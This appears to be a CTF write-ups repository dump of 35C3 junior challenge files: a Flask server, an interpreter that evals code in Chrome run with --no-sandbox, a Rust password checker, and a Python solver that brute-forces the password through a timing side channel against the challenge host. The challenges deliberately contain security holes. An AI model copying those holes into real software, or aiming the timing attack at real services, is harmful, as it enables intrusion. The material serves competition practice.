417 | 418 | 419 | @app.route("/wee/run", methods=["POST"]) 420 | def weeservice(): 421 | json = request.get_json(force=True) 422 | wee = json["code"] 423 | out = runwee(wee) 424 | return jsonify({"code": wee, "result": out}) 425 | 426 | 427 | @app.route("/wee/dev/null", methods=["POST"]) 428 | def dev_null(): 429 | json = request.get_json(force=True) 430 | wee = json["code"] 431 | wee = """ 432 | var DEV_NULL: string = '{}' 433 | {} 434 | """.format(DEV_NULL, wee) 435 | _ = runwee(wee) 436 | return "GONE" 437 | 438 | 439 | @app.route("/wee/encryptiontest", methods=["GET"]) 440 | def encryptiontest(): 441 | global encrypted 442 | if not encrypted: 443 | wee = """ 444 | # we use weelang to encrypt secrets completely secret 445 | 446 | record pubkey 447 | n: string 448 | e: string 449 | end 450 | 451 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') 452 | 453 | fun encrypt(message: string, key: pubkey): string 454 | return bigModPow(strToBig(message), key.e, key.n) 455 | end 456 | 457 | fun get_cypher(key: pubkey): string 458 | var message = '{}' 459 | return encrypt(message, key) 460 | end 461 | 462 | alert(get_cypher(key)) 463 | """.format(DECRYPTED) 464 | encrypted = runwee(wee) 465 | return jsonify({"enc": encrypted}) 466 | 467 | 468 | # The pyserver is almost 100% open source! 469 | # Just enough to barely get it running but never to its full potential. 470 | # We got very positive feedback on HN and nobody bothered to run it anyway. 471 | # 11/10 would open source again. 472 | @app.route("/pyserver/server.py", methods=["GET"]) 473 | def server_source(): 474 | return Response(inspect.getsource(sys.modules[__name__]), mimetype='text/x-python') 475 | 476 | 477 | @app.route("/pyserver/flags.py", methods=["GET"]) 478 | def server_flags(): 479 | return Response(""" 480 | DB_SECRET = "35C3_???" 481 | DECRYPTED = "35C3_???" 482 | DEV_NULL = "35C3_???" 483 | LOCALHOST = "35C3_???" 484 | LOGGED_IN = "35C3_???" 485 | NOT_IMPLEMENTED = "35C3_???" 486 | """, mimetype='text/x-python') 487 | 488 | 489 | @app.route("/weelang/{}".format(WEETERPRETER), methods=["GET"]) 490 | def weeterpreter_source(): 491 | return send_file(os.path.join(WEE_PATH, WEETERPRETER), mimetype="text/x-typescript") 492 | 493 | 494 | @app.route("/weelang/package.json", methods=["GET"]) 495 | def weeterpreter_deps(): 496 | return send_file(os.path.join(WEE_PATH, "package.json")) 497 | 498 | 499 | @app.route("/weelang/flags.ts", methods=["GET"]) 500 | def weeterpreter_flags(): 501 | return Response(""" 502 | export const CONVERSION_ERROR = "35C3_???" 503 | export const EQUALITY_ERROR = "35C3_???" 504 | export const LAYERS = "35C3_???" 505 | export const NUMBER_ERROR = "35C3_???" 506 | export const WEE_R_LEET = "35C3_???" 507 | export const WEE_TOKEN = "35C3_???" 508 | """, mimetype="text/x-typescript") 509 | 510 | 511 | @app.before_first_request 512 | def maybe_init_db(): 513 | if not os.path.exists(DATABASE): 514 | init_db() 515 | 516 | 517 | if __name__ == "__main__": 518 | app.run(host="0.0.0.0", port=8075) 519 | -------------------------------------------------------------------------------- /2018/35C3-junior/ultra_secret.tar: -------------------------------------------------------------------------------- 1 | distrib/0000755000175000017500000000000013411422364011142 5ustar maikmaikdistrib/src/0000755000175000017500000000000013411477702011737 5ustar maikmaikdistrib/src/main.rs0000644000175000017500000000216013411422364013222 0ustar maikmaikextern crate crypto; 2 | 3 | use std::io; 4 | use std::io::BufRead; 5 | use std::process::exit; 6 | use std::io::BufReader; 7 | use std::io::Read; 8 | use std::fs::File; 9 | use std::path::Path; 10 | use std::env; 11 | 12 | use crypto::digest::Digest; 13 | use crypto::sha2::Sha256; 14 | 15 | fn main() { 16 | let mut password = String::new(); 17 | let mut flag = String::new(); 18 | let mut i = 0; 19 | let stdin = io::stdin(); 20 | let hashes: Vec = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect(); 21 | BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap(); 22 | 23 | println!("Please enter the very secret password:"); 24 | stdin.lock().read_line(&mut password).unwrap(); 25 | let password = &password[0..32]; 26 | for c in password.chars() { 27 | let hash = hash(c); 28 | if hash != hashes[i] { 29 | exit(1); 30 | } 31 | i += 1; 32 | } 33 | println!("{}", &flag) 34 | } 35 | 36 | fn hash(c: char) -> String { 37 | let mut hash = String::new(); 38 | hash.push(c); 39 | for _ in 0..9999 { 40 | let mut sha = Sha256::new(); 41 | sha.input_str(&hash); 42 | hash = sha.result_str(); 43 | } 44 | hash 45 | } 46 | distrib/Cargo.toml0000644000175000017500000000025013411422364013067 0ustar maikmaik[package] 47 | name = "ultra_secret" 48 | version = "0.1.0" 49 | authors = ["Benedikt Constantin Radtke "] 50 | 51 | [dependencies] 52 | rust-crypto = "0.2.36" 53 | distrib/Cargo.lock0000644000175000017500000001255613411422364013060 0ustar maikmaik[[package]] 54 | name = "bitflags" 55 | version = "1.0.4" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | 58 | [[package]] 59 | name = "fuchsia-zircon" 60 | version = "0.3.3" 61 | source = "registry+https://github.com/rust-lang/crates.io-index" 62 | dependencies = [ 63 | "bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)", 64 | "fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 65 | ] 66 | 67 | [[package]] 68 | name = "fuchsia-zircon-sys" 69 | version = "0.3.3" 70 | source = "registry+https://github.com/rust-lang/crates.io-index" 71 | 72 | [[package]] 73 | name = "gcc" 74 | version = "0.3.55" 75 | source = "registry+https://github.com/rust-lang/crates.io-index" 76 | 77 | [[package]] 78 | name = "libc" 79 | version = "0.2.45" 80 | source = "registry+https://github.com/rust-lang/crates.io-index" 81 | 82 | [[package]] 83 | name = "rand" 84 | version = "0.3.22" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | dependencies = [ 87 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 88 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 89 | "rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)", 90 | ] 91 | 92 | [[package]] 93 | name = "rand" 94 | version = "0.4.3" 95 | source = "registry+https://github.com/rust-lang/crates.io-index" 96 | dependencies = [ 97 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 98 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 99 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)", 100 | ] 101 | 102 | [[package]] 103 | name = "redox_syscall" 104 | version = "0.1.44" 105 | source = "registry+https://github.com/rust-lang/crates.io-index" 106 | 107 | [[package]] 108 | name = "rust-crypto" 109 | version = "0.2.36" 110 | source = "registry+https://github.com/rust-lang/crates.io-index" 111 | dependencies = [ 112 | "gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)", 113 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 114 | "rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)", 115 | "rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)", 116 | "time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)", 117 | ] 118 | 119 | [[package]] 120 | name = "rustc-serialize" 121 | version = "0.3.24" 122 | source = "registry+https://github.com/rust-lang/crates.io-index" 123 | 124 | [[package]] 125 | name = "time" 126 | version = "0.1.41" 127 | source = "registry+https://github.com/rust-lang/crates.io-index" 128 | dependencies = [ 129 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 130 | "redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)", 131 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)", 132 | ] 133 | 134 | [[package]] 135 | name = "ultra_secret" 136 | version = "0.1.0" 137 | dependencies = [ 138 | "rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)", 139 | ] 140 | 141 | [[package]] 142 | name = "winapi" 143 | version = "0.3.6" 144 | source = "registry+https://github.com/rust-lang/crates.io-index" 145 | dependencies = [ 146 | "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", 147 | "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", 148 | ] 149 | 150 | [[package]] 151 | name = "winapi-i686-pc-windows-gnu" 152 | version = "0.4.0" 153 | source = "registry+https://github.com/rust-lang/crates.io-index" 154 | 155 | [[package]] 156 | name = "winapi-x86_64-pc-windows-gnu" 157 | version = "0.4.0" 158 | source = "registry+https://github.com/rust-lang/crates.io-index" 159 | 160 | [metadata] 161 | "checksum bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)" = "228047a76f468627ca71776ecdebd732a3423081fcf5125585bcd7c49886ce12" 162 | "checksum fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82" 163 | "checksum fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7" 164 | "checksum gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)" = "8f5f3913fa0bfe7ee1fd8248b6b9f42a5af4b9d65ec2dd2c3c26132b950ecfc2" 165 | "checksum libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)" = "2d2857ec59fadc0773853c664d2d18e7198e83883e7060b63c924cb077bd5c74" 166 | "checksum rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)" = "15a732abf9d20f0ad8eeb6f909bf6868722d9a06e1e50802b6a70351f40b4eb1" 167 | "checksum rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "8356f47b32624fef5b3301c1be97e5944ecdd595409cc5da11d05f211db6cfbd" 168 | "checksum redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)" = "a84bcd297b87a545980a2d25a0beb72a1f490c31f0a9fde52fca35bfbb1ceb70" 169 | "checksum rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)" = "f76d05d3993fd5f4af9434e8e436db163a12a9d40e1a58a726f27a01dfd12a2a" 170 | "checksum rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)" = "dcf128d1287d2ea9d80910b5f1120d0b8eede3fbf1abe91c40d39ea7d51e6fda" 171 | "checksum time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)" = "847da467bf0db05882a9e2375934a8a55cffdc9db0d128af1518200260ba1f6c" 172 | "checksum winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)" = "92c1eb33641e276cfa214a0522acad57be5c56b10cb348b3c5117db75f3ac4b0" 173 | "checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 174 | "checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 175 | -------------------------------------------------------------------------------- /2018/35C3-junior/ultrasecret.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import string 4 | import time 5 | import sys 6 | from multiprocessing import Pool 7 | 8 | def f(x): 9 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 10 | s.connect(('35.207.158.95', 1337)) 11 | s.recv(1024) 12 | start = time.time() 13 | s.send(x.encode('ascii') + b'\n') 14 | res = s.recv(1024) 15 | return time.time() - start, x, res 16 | 17 | 18 | pwd = '10e004c2e186b4d280fad7f36e779' 19 | while len(pwd) < 32: 20 | times = {} 21 | with Pool(16) as p: 22 | res = p.map(f, [pwd + x + ' '*(31-len(pwd)) for x in '0123456789abcdef']) 23 | for r in res: 24 | print(r) 25 | pwd = list(sorted(res))[-1][1].replace(' ', '') 26 | print(pwd) 27 | -------------------------------------------------------------------------------- /2018/35C3-junior/weeterpreter.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ts-node 2 | import * as compiler from "../client/src/language/Compiler" 3 | import {AsyncPromise, VirtualMachine, VirtualMachineState} from "../client/src/language/VirtualMachine" 4 | import * as puppeteer from 'puppeteer' 5 | import * as flags from "./flags"; 6 | 7 | declare let BigInt: any 8 | 9 | const DoEvents = () => new Promise((resolve) => setImmediate(resolve)) 10 | 11 | const browserPromise = puppeteer.launch({args: ["--no-sandbox"]}) 12 | const pagePromise: Promise = new Promise(async (resolve, reject) => { 13 | try { 14 | const browser = await browserPromise 15 | const page = await browser.newPage() 16 | await page.setRequestInterception(true) 17 | page.on('request', r=> (r.url().startsWith("file://") && ( 18 | r.url().endsWith("weelang/pypyjs.html") || 19 | r.url().endsWith("lib/FunctionPromise.js") || 20 | r.url().endsWith("lib/pypyjs.js") || 21 | r.url().endsWith("lib/pypyjs.vm.js") || 22 | r.url().endsWith("lib/pypyjs.vm.js.zmem") 23 | ) ? r.continue() : r.abort() && console.log("blocked", r.url())) 24 | ) 25 | await page.goto(`file:///${__dirname}/pypyjs.html`, {waitUntil: 'networkidle2'}) 26 | await page.evaluate(`store('${flags.LAYERS}')`) 27 | resolve(page) 28 | } catch (e) { 29 | reject(e) 30 | } 31 | }) 32 | 33 | browserPromise.catch(x=>console.error) 34 | pagePromise.catch(x=>console.error) 35 | 36 | /** 37 | * Uses a recent chrome to run code inside the chrome sandbox. 38 | * (Hint: there is no challenge here. If you can escape chrome, play the advanced ctf ;) ) 39 | * @param script: the code to run 40 | * @param args: args, in case the script takes any. 41 | */ 42 | async function eval_in_chrome(script, ...args): Promise { 43 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 44 | try { 45 | //console.log("running", script, ...args) 46 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 47 | //const page = await browser.newPage() 48 | //await page.goto(`file:///${__dirname}/pypyjs.html`) 49 | //const response = await page.goto(`file:///${__dirname}/pypyjs.html`) 50 | //console.log(response) Too slow :/ 51 | const page = await pagePromise 52 | //console.log("Goiong on evaling", script, args) 53 | const result = await page.evaluate(script, ...args) 54 | //await page.close() 55 | //console.log("closed. returning.", result) 56 | return result 57 | } catch (e) { 58 | //console.log("An eval error occurred: ", e) 59 | return "" + e.message 60 | } 61 | } 62 | 63 | function wee_eval(expr: string): AsyncPromise { 64 | let asyncResult: AsyncPromise = { 65 | completed: false, 66 | value: null, 67 | stopVirtualMachine: false 68 | } 69 | eval_in_chrome(expr).then((res) => { 70 | //console.log("Result ", expr, res) 71 | asyncResult.value = res; 72 | asyncResult.completed = true 73 | }).catch((err) => { 74 | console.log("Unexpectged error in eval", expr, err) 75 | asyncResult.value = "" + err; 76 | asyncResult.completed = true 77 | }) 78 | return asyncResult 79 | } 80 | 81 | 82 | function get_headless_externals() { 83 | const externals = new compiler.ExternalFunctionsTypesConstants(); 84 | 85 | // Override browser-dependend alert with console.log 86 | externals.addFunction( 87 | "alert", 88 | [{name: "message", type: compiler.StringType}], compiler.NothingType, 89 | false, 90 | console.log 91 | ) 92 | externals.addFunction( 93 | "alert", 94 | [{name: "value", type: compiler.NumberType}], compiler.NothingType, 95 | false, 96 | console.log 97 | ) 98 | externals.addFunction( 99 | "alert", 100 | [{name: "value", type: compiler.BooleanType}], compiler.NothingType, 101 | false, 102 | console.log 103 | ) 104 | 105 | // pyserver 106 | externals.addFunction( 107 | "ord", 108 | [{name: "value", type: compiler.StringType}], compiler.NumberType, 109 | false, 110 | (value: string) => { 111 | return value.charCodeAt(0) % 256 112 | } 113 | ) 114 | externals.addFunction( 115 | "bigModPow", 116 | [ 117 | {name: "base", type: compiler.StringType}, 118 | {name: "exponent", type: compiler.StringType}, 119 | {name: "modulus", type: compiler.StringType} 120 | ], compiler.StringType, 121 | false, 122 | (base: string, exponent: string, modulus: string) => { 123 | let b = BigInt(base) 124 | let e = BigInt(exponent) 125 | let N = BigInt(modulus) 126 | return eval('""+((b ** e) % N)') // force js since tsc translates ** to Math.Pow... *rolls eyes* 127 | } 128 | ) 129 | externals.addFunction( 130 | "strToBig", 131 | [{name: "str", type: compiler.StringType}], compiler.StringType, 132 | false, 133 | (str: string) => { 134 | let res = BigInt(0) 135 | for (const c of str) { 136 | res *= BigInt(256) 137 | res += BigInt(c.charCodeAt(0) % 256) 138 | } 139 | return "" + res 140 | } 141 | ) 142 | externals.addFunction( 143 | "eval", 144 | [{name: "expr", type: compiler.StringType}], compiler.StringType, 145 | true, 146 | (expr: string) => { 147 | return wee_eval(expr) 148 | } 149 | ) 150 | externals.addFunction( 151 | "assert_equals", 152 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 153 | false, 154 | (num: number) => num === num 155 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR 156 | ) 157 | externals.addFunction( 158 | "assert_number", 159 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 160 | false, 161 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 162 | ? "NUMBERS WORK" : flags.NUMBER_ERROR 163 | ) 164 | externals.addFunction( 165 | "assert_conversion", 166 | [{name: "str", type: compiler.StringType}], compiler.StringType, 167 | false, 168 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) 169 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR 170 | ) 171 | externals.addFunction( 172 | // Wee is statically typed. Finding a way to confuse the VM is impossible. 173 | "assert_string", 174 | [{name: "str", type: compiler.StringType}], compiler.StringType, 175 | false, 176 | (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible." 177 | : flags.WEE_TOKEN 178 | ) 179 | externals.addFunction( 180 | "assert_leet", 181 | [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType, 182 | false, 183 | (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET 184 | ) 185 | return externals 186 | } 187 | 188 | export async function wee_exec(code: string) { 189 | try { 190 | const compiled = compiler.compile(code, get_headless_externals()) 191 | const vm = new VirtualMachine(compiled.functions, compiled.externalFunctions) 192 | while (vm.state != VirtualMachineState.Completed) { 193 | vm.run(10000) 194 | await DoEvents() // Excited about this name! VB6 <3. Nothing beats the good ol' "On Error Resume Next"... 195 | } 196 | vm.restart() 197 | } catch (ex) { 198 | console.error(ex.message) 199 | } 200 | } 201 | 202 | if (require.main === module) { 203 | //eval_in_chrome("1+1") 204 | const wee = process.argv[2]; 205 | //console.log(wee) 206 | wee_exec(wee) 207 | .then(_=>browserPromise) 208 | .then(b=>b.close()) 209 | .then(_=>process.exit()) 210 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups --------------------------------------------------------------------------------